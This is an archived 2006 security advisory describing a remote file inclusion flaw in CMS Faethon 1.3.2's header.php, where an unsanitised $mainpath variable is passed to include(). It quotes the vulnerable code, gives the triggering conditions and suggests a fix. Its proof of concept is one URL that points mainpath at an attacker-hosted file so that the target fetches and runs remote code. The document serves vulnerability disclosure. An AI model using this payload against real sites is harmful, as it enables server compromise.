CMS Faethon 1.3.2 - 'mainpath' Remote File Inclusion

Author: K-159
type: webapps
platform: php
port: 
date_added: 2006-06-15 
date_updated: 2016-11-28 
verified: 1 
codes: OSVDB-26630;CVE-2006-3186 
tags: 
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application_url: http://www.exploit-db.comcmsfaethon-1.3.2-ultimate.zip

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[ECHO_ADV_33$2006] CMS Faethon 1.3.2 mainpath Remote File Inclusion
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Author       : M.Hasran Addahroni a.k.a K-159
Date         : June, 16th 2006
Location     : Indonesia, Bali
Web          : http://advisories.echo.or.id/adv/adv33-K-159-2006.txt
Critical Lvl : Highly critical
Impact       : System access
Where        : From Remote
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Affected software description:
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CMS Faethon

Application : CMS Faethon
version     : 1.3.2
URL         : http://cmsfaethon.com/
Description :

CMS Faethon is content management system for different web pages.

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Vulnerability:
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in folder data we found vulnerability script header.php.

-----------------------header.php----------------------
....
<?php
        include($mainpath . 'survey.php');
        ?>
        <h2>RSS - cmsfaethon.com</h2>
        <div class="rss-menu">
                <?php
                $source = 'http://cmsfaethon.com/feed/articles/rss2.php?LangSet=cs';
                include($mainpath . 'rss-reader.php');
        ?>
...
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Variables $mainpath are not properly sanitized.When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.

Proof Of Concept:
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http://target.com/[cms_faethon_path]/data/header.php?mainpath=http://attacker.com/evil.txt?

Solution:
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sanitize variabel $mainpath in header.php


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